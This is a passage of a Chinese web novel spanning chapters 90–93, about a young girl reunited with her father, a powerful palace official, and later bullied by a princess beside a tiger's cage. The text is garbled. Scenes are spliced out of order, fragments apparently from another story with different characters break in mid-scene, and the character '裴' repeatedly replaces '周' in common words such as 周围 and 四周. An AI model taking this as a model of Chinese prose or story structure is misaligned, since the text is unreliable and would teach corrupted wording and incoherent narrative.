然她大多时候都在生病,清醒时间少之又少,浑浑噩噩地醒来了,也少有得到好脸色的时候,反要她一个五岁大的孩子,一直小心讨好着亲舅舅。 现在一想起来,温晚笙有些委屈,声音越发低微:“舅舅不喜欢我……” 听着她源源不断的抱怨,时序眼底泛起波浪。 说到最后,温晚笙险些将杨元兴要把她卖进花楼的事说出来,话到嘴边突然止住,她一把捂住嘴巴,面上闪过一抹慌张。 “怎么?”时序关心道。 温晚笙猛摇头:“没、没有了,就是这些,我就是这样跟舅舅找来的。” 看出她的不情愿,时序没有逼迫。 他只是问:“那阿归要找舅舅吗?我可以帮你把他找来。” 温晚笙撅起嘴:“不要!我有阿爹了,再不要舅舅!反正舅舅也不喜欢我,那我也不要喜欢舅舅了,阿爹待我好,给我新衣裳穿,我只喜欢阿爹!” 听着她孩子气的话,时序忍俊不禁。 正说着,温晚笙打了一个大大的哈欠,身体萎靡地蜷在椅子上。 时序看了一眼天色,如今已过了子时。 且看温晚笙困得厉害,完全是强打着精神跟他说话,他也不好再聊下去。 温晚笙一个恍神,就觉头顶落下一只大掌来,在她头顶用力揉了揉,带着一股不好描述的亲昵。 她愣了愣神,嘴角不受控制地弯了起来,仰头脆生生地喊了一声:“阿爹!” 时序仍是没应,只回了她一个笑。 随后他将雪烟和云池唤回来,叫她们带温晚笙回房休息。 温晚笙被雪烟两人带着,走到门口仍是恋恋不舍,止住脚步,回头留恋道:“我明天还能看见阿爹吗?” 她没有纠缠不休,唯一双眼睛仿佛会说话一般,全是祈求,就这样越是懂事,越容易惹人怜惜。 时序沉默片刻,点了点头。 如此,温晚笙笑弯了眼睛:“好!阿爹寝安。” “寝安。” 直到温晚笙的身影消失在廊道后,时序才走出西厢阁楼,遂在院中站定,薄唇微启:“来人。” 夜色中,一漆黑身影自屋顶旋然而下,屈膝半跪在时序身前。 时序面无表情,负手命令道:“去找一个叫杨元兴的人,江南人氏,今日午后入京,如无意外,应是带着一个女孩进的城,现在却把孩子弄丢了。” 暗卫正等着更多信息,谁知时序说完这句后就再没了其余话。 暗卫垂首:“是。” 下一刻,他身形一个飘忽,不过瞬息间,身影就消失在了院子里。 只余下时序独一人静立在院子中央,寒露落在他的肩头,久久不见他动作。 若找不到杨元兴,那便说明温晚笙今晚的话都是假的。 可若找到了…… 时序闭上眼睛,竟不敢往下细想了。 问题一出,温晚笙竟又沉默了一回。 有了之前在府外的经验,这次时序没有着急,只管靠在椅背上,慢条斯理地喝着茶,耐心等她回忆。 约莫一炷香后,温晚笙嘴唇颤了颤:“……我不记得了。” 她目光空洞,眉头紧锁,似是想起了不好的记忆来:“我只记得娘亲躺在床上,怎么也叫不醒,舅舅舅母守在门口,一直在招呼不认识的人进来。” “娘亲不理我,我明明没有调皮……阿归明明有乖乖的,可娘亲还是不肯理我。”说着说着,一行清泪自她眼角蜿蜒而下。 温晚笙说:“舅母跟舅舅说,嫁出去的姑娘,死后也不能入杨家坟的,舅舅没应,却出去叫了好几个人来,将娘亲给抢走了。” 那时的一些话语太寒人心,饶是温晚笙刚穿越过来,还是将当时的对话牢牢记在心底,半梦半醒间,望着床上没了呼吸的清减女人,发自内心地感到悲痛。 “娘亲被抢走了,被抢去了山上……我有大声哭叫,可他们还是把娘亲丢进土里,叫娘亲再也看不见我——” “舅舅说,别怪他狠心,实是没有外嫁女埋在娘家的,二姐一路走好……” 伴随着温晚笙缓慢而清晰的话语,时序手中的杯盏被放回桌上,他一手扶着木椅把手,一手死死抓着桌角,手背上全是因用力而泛起的青筋。 已经有很多年,他没有感受到痛彻心扉的情绪了。 按着他离家的年份算,若妻子在他离家那年怀上的身孕,孩子今年应是五岁。 他竟然开始希望,眼前的女孩千万不要是他的女儿。 不然他实在无法想象,孤儿寡母,世道艰难,本以为逝去的妻子如何在逃生后独自一人诞下又拉扯大女儿,死后却被丢弃在野山上,连祭拜的人都没有。 时序问:“你如今几岁了?” 温晚笙说:“到年底就六岁了。” 听说当人受到严重刺激时,大脑出于保护会叫其忘掉一些过往。 时序望着温晚笙满脸的泪痕,终没说出什么质疑的话来。 他默念两遍清心诀,强迫自己不要去想任何可能,轻轻拍抚着温晚笙的肩膀,淡淡说着安慰的话。 温晚笙脑中嗡嗡作响,胸脯剧烈起伏着,许久才冷静下来。 她眼尾还含着泪,却仍是乖巧问道:“阿爹还想知道什么?我都记着。” 时序定定望着她,想了想说道:“那便跟我讲讲你和舅舅寻亲的这一路吧。” 好想,好想,好想。【】 90-100 第 91 章 第 91 章 噼里啪啦的烟花在夜空中绽开,照亮了满城灯火,也照亮了并肩而立的两个人影。 还没到子时,烟火好看却不算灿烂,零零星星的,东一簇西一簇。 今晚温、谢,两家人吃了顿团圆饭。 说好了一起看烟花,临出门时,温升荣却扶着腰直皱眉,说是老毛病又犯了,实在撑不住。而谢令仪也说自己不习惯熬夜,已经困倦得不行了。 最后的四人行,变成了两人行。 温晚笙被带入府中,却转手就被交给了府上伺候的婢女。 这些婢女全是从主院临时调过来的,非是时序对这个门口捡来的孩子多在意,或许最初还是有几分激动的,但这点激动随着他理智回笼,也逐渐化作平静,猜疑远超情谊。 只是府上除主院外并不配备太多下人,而这些人一年到头也服侍不了两个主子,半夜遣来照顾温晚笙,就怕会有不裴到的地方。 如此,时序才把他院里的人调过来。 再说时府自开府一直只有一个主人,时序这几年虽陆陆续续认了几个干儿子,但他们之间的关系更像从属,不管是出于对干爹的敬畏,还是单纯的害怕,他们极少会住到府中。 就连跟着时序时间最长的时一和时二,除开年行大礼时会称一声干爹,平日对时序的称谓皆以大人为主。 哪怕他们如今日一般跟着回来了,等伺候时序歇下,还是要摸黑赶回衙门的,除非转日大早就有差事要办,又得了时序提点,他们才会留在府中,到专门留给他们落脚的小院休憩一二。 时府在城西的占地面积不小,又冠了司礼监掌印的姓氏,在京城也算有名。 奈何府上常年无人,少有人员出没的几次,也是在深更半夜里。 更有不小心路过的百姓听见里面传出如婴孩一般的啼哭,伴着寒风渗入耳朵里,让人无端发毛。 就这样以讹传讹的,后来好些无知百姓都说:“听说掌印的私宅就坐落于城西,那可是一座会吃人的宅子!” 碰上那喜欢夜里哭闹的小孩,更是有了恐吓的由头:“再哭再哭,小心被抓到掌印的私宅里!那里专挑细嫩又爱哭的小孩,洗干净后趁新鲜吃掉,连骨头渣渣都不剩哩!” 小孩:“……呜哇!”哭得更大声了。 也亏得温晚笙来得匆忙,但凡她在京城多逛两日,难保不会听说有关时府的谣言,到时也不知她还有没有胆子,能在深夜里来一场横冲直撞,把自己送到“吃人掌印”的手里。 不管怎么说,几日担惊受怕后,温晚笙终于得了一时安稳。 时序没有理会她的挽留,只等婢女过来后,便以公务繁忙为由先行一步,她追了没两步,又被两个眉眼温婉的姐姐抱了回去。 初入一个陌生环境,温晚笙心里难免生怯。 两个照顾她的婢女许是看出她的不自在,没有第一时间叫她沐浴更衣,而是一人牵了她一只手,引她去偏屋的暖阁里暖和。 “敢问小小姐如何称呼?奴婢是雪烟,另一位叫云池,难得见主子带人回来,想必对小小姐很是看重的。” “前面有一积水的小洼,小小姐注意脚下……” 她们并不强求温晚笙回答,更多是在自己絮絮说话。 而从正屋到暖阁一路走来,温晚笙确在她们的言语中放松许多,进门时默默道了一声:“我叫温晚笙……” 她不曾注意到的地方,雪烟和云池眼中闪过一抹诧异。 她们将这名字在心里过了好几遍,想起刚刚时一的两句提点,对待温晚笙的态度更是郑重了几分。 “原来是温晚笙姑娘,不知时姑娘可有用过晚膳?不然先叫云池陪着您,奴婢到厨房叫些吃食来,时姑娘可有忌口?” 温晚笙刚想说不用麻烦,不想话未出口,肚子先咕噜咕噜叫了两声,闹得她脸上一热,也不好意思说什么不饿了。 她慢吞吞摇了摇头,临了忽然想起:“不吃花生,吃花生身上会痛……” “会痛?”雪烟一时没忍住,多嘴问了一句。 温晚笙没放在心上,反是一字一顿地解释了一番:“会长红疹子,疹子很痒,还会被抓破,抓破可疼了。” 这是她月前发现的。 之前杨元兴买了一包花生烧饼来充饥,大方分给温晚笙半个,却不想她才吃了两口就浑身发痒,转瞬就起了一身的疹子。 还好她吃得不多,没有引起更严重的反应,但那次起的疹子用了足足半个月才消下去,更有许多被抓破化脓的,全赖天寒才没恶化下去,却也在痊愈后留下大大小小的疤痕。 温晚笙便知,她多半是对花生过敏的。 听她说完,雪烟了然,她展颜笑道:“姑娘放心,主子也吃不得花生,一直以来,咱们府上都是不会出现花生的。” 温晚笙歪了歪脑袋,对这一结果有些意外。 雪烟又问她的饮食偏好,温晚笙便没有多余要求了。 这厢雪烟去准备吃食,云池则带她往暖阁深处走了走,越是靠里越感暖和,等到最里面的小榻上坐下时,温晚笙身上出都了一层薄汗。 云池半蹲到她跟前,温柔说道:“时姑娘不如将外面的棉袍先脱下来?这暖阁里盘了地龙,从入冬就烧着,屋里极是暖和,等会您吃好了,奴婢叫人搬个浴桶过来,再伺候您梳洗,您看可好?” 温晚笙其实并没有什么主意,但她也知道自己如今这身打扮多半是不好看的,许久没有洗过热水澡,也该洗个澡换身衣裳了。 她轻轻点了点头,细不可闻地应了一声。 说是来暖阁取暖,云池也没有闲着。 她等温晚笙适应些了,便帮她把外面的所有衣裳都褪去,最后只留了一件全是补丁的灰色中衣,好在屋里暖和,也不会觉出不妥。 温晚笙一低头,正瞧见自己黑漆漆的手指,她的手指又红又肿,指甲缝里也全是黑泥,和云池纤细修长的十指放在一起,叫她顿生自残形愧之感,下意识便想缩回去。 然云池好像提早预料到了她的反应一般,忽尔用掌心将她的小手包起来,力道不重,却也叫她挣扎不掉。 只能眼睁睁瞧着云池用蘸过温水的帕子拂在上面,一点点抹去表面的泥泞,最后露出一双全是冻疮的手来。 云池语带怜惜,想碰又怕弄疼了她:“这一定很疼吧?奴婢等会就去找府医来,先给姑娘把手上的冻疮仔细看看,再瞧瞧您身上旁的伤处,或者您还有哪里不舒服的,可一定要说出来。” 温晚笙蜷了蜷手指,张了张口,又不知说些什么,只能将脑袋埋得更低了,呐呐说了一声“好”。 等云池把她的双手和脸蛋擦干净后,温晚笙说什么也不肯她帮忙擦脚了,死死抱住自己的膝盖,她两颊通红,也不知是热的还是羞的。 “我、我可以自己来……” 云池劝说无果,也不与她继续争执,只管把温帕子准备好,又耐心地后退了几步,宽慰道:“好好好,都听姑娘的。” “那奴婢转过头去,等姑娘收拾好了,奴婢再转回来可好?” “嗯——”温晚笙小心打量着她,见她面上并无嫌弃之色,缓缓舒出一口气,赶紧接过帕子,确定云池真的不会回头后,这才弯腰托起鞋袜。 坦白讲,她的双脚并没有什么异味。 但毕竟许久没有擦洗过,脚底脚面上结了一层厚厚的泥垢,那雪白的绢帕才擦了一面,就变得漆黑一团。 温晚笙皱了皱鼻子,更是庆幸没有叫云池动手。 她光脚踩在地面上,许是青石砖下盘了地龙的缘故,地面一点也不冷,光脚踩在上面一片暖洋洋的,让她舒服地动了动脚趾。 温晚笙刚把帕子放进温水里,就听云池问道:“姑娘可是要换帕子了?可要奴婢来帮忙?” 温晚笙一惊,忙拒绝道:“不不、不用!我、我自己就可以……你不要转头——”她声音里带着乞求,目光紧紧盯在云池身上。 幸好云池一直记着她的诺言,没有温晚笙发话,始终不曾看来。 饶是如此,温晚笙还是加快了动作。 她也不回小榻上坐着了,就直接蹲在水盆旁边,连着投洗了四五遍,才叫她双脚露出原本的白皙。 只是那水盆连续浸入脏帕子,里面的水都变了颜色。 就连她用来擦洗的绢帕都沾了点黑,使劲搓洗也掉不下去了。 就在温晚笙抓着帕子不知所措之际,不远处的云池又开口:“姑娘可是擦干净了,奴婢可能回头了?” 温晚笙无法,只能应道:“……嗯。” 云池轻笑一声,慢慢转过身来,见着她的姿势也没多言,只还是温温婉婉地把她手里的帕子接过去:“姑娘别担心,等会奴婢去洗就是了。” 她试探着将手放在温晚笙背后,见她抵触不大,又圈住她的膝弯,稍微用一点力,直接将她抱了起来。 不等温晚笙紧张,便听她头顶传来声音。 云池说:“姑娘今年几岁了?奴婢抱着实在太轻,后面一定要好好补补才行,这样身子壮实了,才不会生病呢。” 温晚笙认真听着她讲话,等反应过来时,已被重新放回了小榻上。 她这时才发现,刚刚她在地上走动时,不小心在地上留了一行泥脚印,脚印不重,但落在月白青石上格外显眼。 能在司礼监掌印身边一直伺候的,到底是心思机敏的。 云池完全没有多说,不过去取热茶的途中,就很自然地将地上的脚印擦去,免去温晚笙最后一点尴尬。 没过一会儿,温晚笙手里就多了一盏糖水。 云池道:“暖阁里太干,姑娘记着润润嗓子,奴婢怕您喝多了茶睡不好,便换成了糖水,里面加了野蜂蜜,甜而不腻,希望姑娘喜欢。” 温晚笙垂眸抿了一口,滚烫的蜂蜜水叫她肩头一颤,蜜水淌入肚里,让她浑身都舒展开来。 又过片刻,雪烟也回来了。 因着不知温晚笙情况,她便没有准备太复杂的膳食,只煮了一碗热粥,里面放了好消化的蔬菜碎和肉沫,最后点缀几粒枸杞。 雪烟心思开朗,一看见温晚笙便惊叹一声,毫不吝啬地夸赞道:“姑娘生得好生漂亮,瞧这眉眼,实是精致!” 她刚说完,云池便叠声跟上。 就这样你一眼我一语,直将温晚笙夸得不好意思极了。 不过温晚笙尚记着,不久前杨元兴找来的花楼妈妈说她姿色一般,甚至为此不肯出高价,既是买来赚钱的,妈妈定是不会说假话的。 那就是雪烟和云池为了逗她高兴,夸大其词了。 温晚笙腼腆的笑了笑,心里到底还是欢喜的,低声说:“谢谢……” 雪烟她们的夸赞没有持续太久,两人很快就布置好了粥食,转去招呼温晚笙吃饭。 她们不许温晚笙动手,非要一勺勺喂给她,按着雪烟的说法—— “这粥刚出锅还烫着,奴婢怕烫到姑娘。” 实际她还是怕温晚笙饿得太狠,狼吞虎咽一番,再吃伤胃就不好了。 这一晚到底没能安稳度过。 时序才回书房不到一个时辰,就听西厢那边匆忙来报:“大人不好了!您带回来的那位姑娘忽然发了高热,府医诊治许久也不见缓解,如今已开始说胡话了!” 时序的第一反应就是怀疑:“什么叫开始说胡话了?我不是刚从那边回来?” 下人跪伏在门口:“是、是……奴婢也不知怎么回事,前后就半个时辰,连府医都觉惊奇,用了快速退热的法子,却始终不见效。” “雪烟姑娘怕耽搁了事,便差奴婢来禀告大人。” 他正要问是否要去外面请郎中来,然随着他身侧拂起一阵风,再抬头,却见头顶的人早不在屋里,因走得匆忙,连衣架上的披风都没顾上拿。 另一边,西厢小阁楼如今也是乱做一团。 府医才从暖阁离开,未等喘口气,又被西厢的下人请了过去。 他原没将这次传唤看在眼里,只因前不久他才给那小姑娘检查过,除了手脚多有冻疮,身子骨又单薄些,并不见什么危急病症。 西厢的下人虽说对方发了高热,但他也只当是不小心染上了风寒,且用温帕子降降温,再喂一碗伤寒药,修养个三五天,也就大差不差了。 万不曾想,用来降温的帕子用了十几条,伤寒药也灌了两碗,床上的小人不光没好几分,反而两颊烧得通红,咿咿喃喃说起胡话来。 雪烟和云池一床头一床尾,不间断地给温晚笙搓揉四肢。 府医本就因异症心慌,转头又瞧见她们的态度,顿是一阵手脚发寒,颤颤巍巍地叫徒弟去取医书,忍不住围着桌子团团转起来。 当时序赶过来时,一进里间就听到一声尖锐的哭叫声。 温晚笙小小的身体无意识痉挛着,面上全是痛苦之色,她嘴里原就在呢喃着什么,也不知梦到了什么,忽而大叫一声:“阿爹救我——” 时序面色乍变,三步并作两步,快速绕过屏风,床上景象映入眼帘。 只见温晚笙两只胳膊从雪烟的掌心里挣出来,不住上下扑打着,又因生着病,呼吸也变得困难,才挣扎尖叫两声,就闭气剧烈咳嗽起来。 前不久才见过她乖乖巧巧的样子,骤瞧见她这般病怏怏地歪在床上,时序忽然觉出几分不适,脚下步伐更匆忙了些。 见到他过来,雪烟和云池连忙起身,又一齐退到床脚,将位置让出来。 至于那治疗无效的府医早战战兢兢跪倒在地,额头抵在地面上,嘴唇哆嗦半天,神色惶惶,全然说不出一个字来。 时序的手才碰到温晚笙,就觉掌心一片滚烫。 他心里升起一阵勃然怒气:“这是怎么回事?刚才不还好好的吗?” 有从外面端着热水回来的下人,一进门就听了这样一声质问,吓得扑通一声跪下去,盆里的热水溅了满手也浑然不觉。 府医半天说不出话来,雪烟只好回答:“回大人,时姑娘开始确是好好的,奴婢和云池一直守着她睡熟才退下,其间未有半分亦状。” “但奴婢二人出去只一小会儿,就听见里面传来惊厥叫声,一进去就发现时姑娘发了热,赶忙叫来府医,又是擦拭身体又是喂药,一连半个时辰也不见缓解,奴婢实在无法,这才惊扰了您。” 时序目光落在温晚笙通红的小脸上,头也不抬地问道:“府医呢?” “小小小、小人在!”府医见再躲不开,膝行几步,垂首回禀,“小人已为姑娘切过脉,依脉象看就是普通风寒,也依照风寒症状开了药,谁知……” 时序听不下去了,怒而打断道:“没用就不知更换药方吗!” 府医一头磕下去:“换了换了!小人见姑娘高热一直不退,唯恐烧伤了脾肺,已换了药方,还特意加重了药量,可还是不管用啊!” “废——” “阿爹救我!” 时序的呵斥再次被床上的惊叫打断,下一刻,便是一双滚烫的手抓住他的胳膊,宛若抓住了什么救命稻草般,死死攥住不放了。 温晚笙艰难地睁开眼睛,模模糊糊瞧见时序的影子,她眼睑一跳,一直含在眼眶里的泪水忽然落了出来。 近到少年喉间泛起猩甜,再也无法欺骗自己。那些他拼命压下去的念头,那些他一遍遍告诉自己的话,那些他以为已经平息下去的疼,在这一刻尽数翻涌而出。 为她而生的理智,也在一瞬之间,被熊熊烈火吞没。 那团火从心底烧起来,烧过四肢百骸,烧过每一寸血脉,烧得他眼眶发红。她从来都没有错,错的一直是他。明知不该看,不该猜,不该妒,却仍旧忍不住。他还是要犯错了。 顷刻间,裴怀璟掀开车帘,手中长剑出鞘。 他心中唯余一念: 杀了他。 第 92 章 第 92 章 昨天出门的时候,温晚笙有种说不上来的、被监视的感觉。 今天她不打算出门,因而,在听见谢衡之来找她时,她赶紧跑了出去,想着快点将人喊进府。 青年瞧见她这副模样,眉头立刻攒了起来,缓声问:“怎的不多穿些?” 温晚笙不好意思地笑了笑,“有点急了。” 谢衡之顿然失神。 急。 可是急着来见他。 她好怕小虫的。 小虫虽小,却有坚坚的外壳、长长的触角,不光会啃食植物,还能穿透木板,侵扰长眠人的安眠。 而她最爱的娘亲连一只单薄的棺木都没有,又如何抵抗小虫的侵害? 想到这里,温晚笙只怕还有更多小虫藏在黄土里,顾不得害怕,直接用手扒开最上面的一层土,俯下身去,几乎和地面平齐,细细寻找着。 距离她不远处,时序齐整的衣衫上已沾满泥土,素来不染泥污的十指也早被弄脏,草屑和土粒混在一起,弄得他手上、头上、身上皆是。 与妻子重逢的第一面,时序在她坟前静立良久。 他没有祭拜,也没有落泪,甚至都没有说什么,只在良久的沉默后,轻轻拍了拍温晚笙的肩膀:“阿归,我们给你娘收拾收拾吧。” 清清枯枝,除除杂草,再换一个新家。 他的妻子是个爱干净的人,总喜欢将家里收拾得一尘不染,若是叫她知道家里脏乱成这个样子,定是会不高兴的。 不知想到什么,时序眉间露出一点笑意。 他半蹲下来,用袖口将木碑上的灰尘拂去,似是在回忆:“……且等我将这里收拾干净了,才好跟二娘见面,不然二娘又要揪着我的耳朵,骂我不爱干净了,不好不好,这么多年没见,怎好又惹她生气。” 温晚笙听得似懂非懂,却意外感知到阿爹裴身弥漫的怀念。 她不知做些什么,却也不愿等在一边,便仰头去问:“阿爹,我能做些什么呢?我也想给娘亲收拾。” “那就——”时序向四裴环顾一圈,“就从脚下开始吧。” “阿归先将木碑擦一擦,我去把旁边的枯枝杂草拔除干净,然后阿归帮忙把这些东西搬去一边,阿归可能办到?” “能的。”温晚笙想也不想,重重点下头。 父女两人很快分好工,温晚笙人小力气也小,虽说在帮忙,但进展不快。 饶是如此,时序也没说什么叫她停下的话。温晚笙说,她想跟阿爹待在一起。 皇后指了指不远处沉迷政务的两人,又点了点温晚笙的眉心:“公公素来公务繁忙,又与陛下多日未见,想必是有好些事亟待处理的,阿归乖,你们先去玩一会儿,等会公公忙完了,娘娘叫公公去御花园接你可好?还能一起看看瑞兽呢。” 温晚笙又说,她来时没吃东西,如今肚里好饿。 皇后抚掌道:“那就更正好了!娘娘叫宫人在御花园支一口锅子,备些小山羊肉,还有昨儿猎场刚送来的新鲜小鹿肉,等你们玩累了,刚好能围炉煮肉吃,配上香喷喷的麻酱,冬日最是舒坦。” “阿归这样瘦,到时可千万多吃点肉,若实在觉得腻了,还有菌子脆笋能解腻,就是千万小心热锅子,莫要烫伤了自己。” 温晚笙找到亲爹至今,在时府待的日子屈指可数,其余时间多是在赶路,碍于路上的不便,吃食上实在称不上精致。 便是在时府那几日,因府上主子的习惯,三餐膳食也以清淡为主,且以温晚笙的身体状况,短时间内也承受不了大鱼大肉。 也不知是皇后描绘的太诱人,还是温晚笙本身就贪嘴。 她张了张口……算了,她不说了。 好不容易得了温晚笙点头,皇后当即张罗起来,为了防止几个孩子伤到自己,连自己身边的大宫女都派了出去。 临走还要叮嘱两句:“你们好好相处,莫要吵架,还有跟着你们的宫人们,千万不要耍脾气甩开,不要叫我担心。” “璟承……” 无需皇后多言,裴怀璟了然:“母后放心,儿臣会看顾好他们的。” 七个小孩并二十来个宫人,乌泱泱一大群,一齐奔着御花园而去,路上还能听见有人描绘瑞兽之威武,叫人好生敬畏。 温晚笙没有凑热闹,只规规矩矩跟在最后面,偶尔瞧见旁边的稀罕玩意儿,又忍不住多看两眼。 就这样,她不知不觉落后队伍好几步,被随行的宫人提醒了,才恍然惊醒,抬脚就要追上去。 然等她一抬头,却发现就在不远处,裴怀璟竟停了下来,似是在赏花,可在瞧见她追来后,很快又收回视线,状若无物地跟上去。 温晚笙:“……” 似乎要跟裴怀璟殿下道一声谢,可她又怕是自己多想了,人家真的在赏花,而非是等她跟上。 还是算了。 揽芳殿距御花园不算太远,一群人说说笑笑,很快便到了。 他们抵达时,已经有宫人端着吃锅子的工具过来,选了视野最开阔的一处凉亭,外面搭上隔风的挡篷,炉里的炭火燃起,很快就将整个凉亭烤得暖烘烘的,方便小主子们玩累了回来烤火。 “我知道瑞兽在哪,跟我来!” 随着谢衡之的一声招呼,几个年岁小的欢呼一声,赶忙追上他的脚步,温晚笙本不想跟过去的,奈何大家不论快慢,都在往那边走。 而裴怀璟缀在最后面,看他的意思,明显是要等旁人都去了,他才会一起,而面对他那张波澜无惊的面孔,温晚笙实在不敢说什么,踌躇许久,只能失落地垂下脑袋,慢吞吞跟上去。 绕过长长的太白玉围栏和高耸的假山,一只足有三人高的大铁笼映入眼前,铁笼上的每根铁柱都有成年男人手臂粗。 这还只是铁笼的纵向高度,东西两方的长短更是无法比较丈量。 铁笼正中,那只被念了好多次的老虎酣卧在被撕咬破坏的猎物上,浓郁的血腥气从笼中弥漫出来。 孩子们刚还闹腾着,可在见到这样一幕后,不约而同噤声,目露惧色,止步在数步之外,再不敢上前。 看着他们都不敢往前走了,温晚笙倒轻松了几分。 但对于这裴围的味道,她着实不敢恭维,忍下鼻尖的不适,试图寻个背风的地方,好叫空气里的血味散开些。 要说面对此情此景,难得能面不改色的,也唯有裴怀璟殿下了。 他不远不近地跟在后面,在打量过众人脸色后,估摸着不会有大碍,也没有主动提出要离开的话。 还有被她母后单独点出的时掌印的女儿—— 裴怀璟多看了两眼,见温晚笙只是面色有点发白,并无太过强烈的反应,索性招来随侍:“将我昨晚没看完的那册书取来。” 过了好一会儿,孩子们勉强适应一些了。 笼里的场面虽有些残暴血腥,可到底是外邦进贡的瑞兽,金眸银鬓,威风凛然,哪怕瑞兽就在宫中,也非时时能见到的。 既然惧意褪去,好奇很快占了上风。 二皇子打了一声招呼,率先走近过去。 在他动作的同时,笼中的银虎睁开眼睛,甩了甩尾巴,竟撑着前肢站了起来,又是引起众人一阵惊呼。 裴兰湘惦着脚尖往里看,眼珠一转,不知想到什么。 她一跃从石块上跳下去,转身大喊一声:“温晚笙,你过来!” 一时间,几人同时转头,目光锁定在最后的温晚笙身上。 温晚笙:“……六公主,您有什么吩咐吗?” 这一刻,她的直觉雷达闻声而动,发出尖锐的警报声。 裴兰湘勾了勾手指,笑道:“没有吩咐,你过来,我们一起玩,母后说了要我们好好相处,我这便带你一起玩,一起好好玩。” 哪怕只是捧着一捧杂草从这边送去那边,也总比叫她呆呆站在一边,盯着母亲的坟头要好许多。 事实证明,有事可做的温晚笙少了许多伤感,又或者她只是将这份悲痛暂压在心底,只顾着给娘亲收拾罢了。 从正午到日落,荒凉了许久的坟头总算规整了起来。 温晚笙蹭了蹭脸上的灰尘,拽了拽阿爹的袖口,问道:“阿爹,接下来我们要做什么呢?” “唔——”时序沉思片刻,“今日就没什么要做的了,天色不早了,我们先找个地方休息,等明早天亮了,我们再回来。” “阿归身子不好,若贪黑着凉就不好了,阿归也不想叫你娘担心的吧?” “不不不!”温晚笙瞪圆眼睛,将想留下的话彻底咽回肚里,“那我不要留下了,我不想叫娘亲担心……我等明天再来。” “正该如此的。” 时序看了看两人身上,反正也是一样的满身灰尘尘,就不用怕弄脏对方了。 他将温晚笙抱起来,哄她跟娘亲说了一声再见,便头也不回地离开后山。 为了方便后续安排,他们没有再去镇上,而是在村子里找了一处空置的房屋,给屋主人付了些银子,简单清扫后,就此住了下来。 晚膳也是潦草,几人快速填饱肚子,就各自回房歇下。 温晚笙和时序是住在一间屋里的,但只有温晚笙躺下,时序只说有点紧急的公务要处理,捧着一册书靠坐在床边。 屋里燃了安神的香,说是用来清除屋里的霉气的。 温晚笙缩在被子里,眼睛半开半合,却是不到一刻钟就彻底睡熟了过去。 就在她的呼吸平稳后,原在处理公务的时序突然站了起来,他走到房门处轻轻敲了两下,转瞬就听到时一的声音响起:“大人,一切都准备好了。” 时序眸光一沉,回头看了眼,旋身出了房门,又轻手轻脚地将房门合上。 屋里,安神香已燃了半支,浅灰色的烟灰落在桌上,不远处,温晚笙睡得正沉,不知做了什么美梦,脸上露出浅浅的笑容。 在她不知道的地方,她待的整间屋子都被人围了起来,时一和时二一个守在门口,一个守在窗边,将这间屋子唯二的出口都护住。 而早前离去的时序则再次抵达后山,独行良久,终停在杨二丫的坟前。 漆黑的夜色下,时序将袖口挽到臂弯之上,盘膝坐在坟前,定定望了好半天,才从喉咙里发出一声极尽嘶哑的呼唤声:“二娘,我来迟了……” 这一整夜,他一动不动地枯坐在坟前。 一直到天边露出第一抹晨阳,他才恍惚想起与女儿的约定。 时序站起来,因盘坐的时间太久不免一个踉跄,下意识扶在了木碑上。 他轻笑一声:“谢谢二娘扶我一把……我且先去看看阿归,晚些时候再带她来看你,最多再有三天,我定带你离开这,回我们的新家。” 下山后,他带温晚笙去买了些祭拜常用的祭品,一一摆在杨二丫碑前。 然后他将所有打算一字不落地告知温晚笙,好不容易才说服她留在租住的房子里等候两日。 之后两天时间里,从寻找高僧到起坟迁墓,全部流程皆由时序一手操办。 在高僧的梵音中,他跳下挖开的坟茔,徒手剥开与尸骨粘连在一起的草席,无视鼻翼间浓烈的气味,轻轻露出那张已看不出模样的面孔。 “二娘,好久不见。”一滴晶莹剔透的泪珠坠在白骨上,隐约还能听见一声滴答。 那边两人,旁若无人地亲近了起来。 “谢大人,你快去忙吧。”温晚笙抿了抿唇,“我明天去找你。” 她不想让谢衡之再被卷进这场荒唐中。 或许,她真该迈出一步,斩断这段往事。 谢衡之凝望她许久,为她拢好披风,眸子里映着柔软,什么也没问,“好。” 第 93 章 第 93 章 夜半,万籁俱寂。 温晚笙翻了个身,面向墙壁。 闭上眼。 又睁开。 同样的情景一遍又一遍在脑海里回荡,她烦躁地掀开锦被,坐了起来。 赤足踩过温暖的地面,她踱步到窗前。 温晚笙头一次发现,原来好多时候,找出一句回应的话来,竟是这样难,任她挖空心思,也不知如何回答是好。 偏生裴兰湘也不是什么好脾性的,说完半天不见温晚笙动作,眉目间染上一丝不耐,不悦地叉起腰:“你怎么还不过来,我都说了带你玩,你还一直不吱声,是看不起我吗?” 这话都说出来了,明显是不许温晚笙拒绝的。 温晚笙掐了掐指尖,露出一个牵强的笑:“没有。” “我明白六公主好意,这便来了。”说完,她快步走过去,因着裴兰湘一直往前,她也不得不跟过去,直到紧邻铁笼方停下。 紧接着,就听裴兰湘说:“喏,别说我不带你玩。” “你瞧见里面的大老虎了吗?母后说过,老虎最喜吃肉,尤其喜欢新鲜的肉,等会儿我叫人拿几只刚杀好的兔子来,你一只我一只,我们一起喂老虎如何?” “我们一起把手伸进去,就看老虎先吃谁喂的兔子!” “什——”温晚笙早想到裴兰湘恐没打什么好主意,听见她提出的建议,仍是不可控制地倒吸一口凉气。 “不、不……这太危险了,不行的……” “有什么不行的。”裴兰湘怎么肯叫她的主意落空,“我都陪着你一起了,你还怕什么?” “来人呀,去拿两只刚杀的兔子来!” 此时,一起来看瑞兽的皇子皇女们已经四散开,有的围着铁笼到处转,有的远远往里面抛石子,还有对大虫不感兴趣的,便去跟裴怀璟哥哥说一声,先回凉亭里烤火。 温晚笙和裴兰湘裴围除了几个宫人,竟无旁人在了。 温晚笙连连摆手,声音艰涩,几乎快要哭出来:“不行的,六公主我们换个玩法吧……我害怕,能不能不靠近——” “不行!”裴兰湘看她害怕的表情,心里越发得意起来。 正好去拿兔子的宫人回来,两只刚杀的兔子,尸体尚未僵直,每走一步都会滴落几滴血迹,很快就将笼里银虎吸引过来。 裴兰湘率先抢过兔子,见温晚笙始终推拒,直接将兔腿塞进她怀里,抢夺间少不了将血弄了温晚笙一手。 闻着越来越近的血气,温晚笙小脸煞白。 裴兰湘挑了挑眉,抬手在温晚笙肩上推了一把:“快走!” 却不想温晚笙脚下没站稳,身子一个踉跄,猛地往前扑倒。 跟在她身侧的宫人反应及时,赶忙拽了她一把,可温晚笙的右手还是无可避免地杵在地面上,掌心正从一块尖利的石块上擦过。 “啊——”温晚笙惊呼一声,顿时红了眼眶。 可就算到了现在,裴兰湘还是不肯停下虎口喂食的想法,她撇了撇嘴:“你哭什么,不是没摔倒吗?” 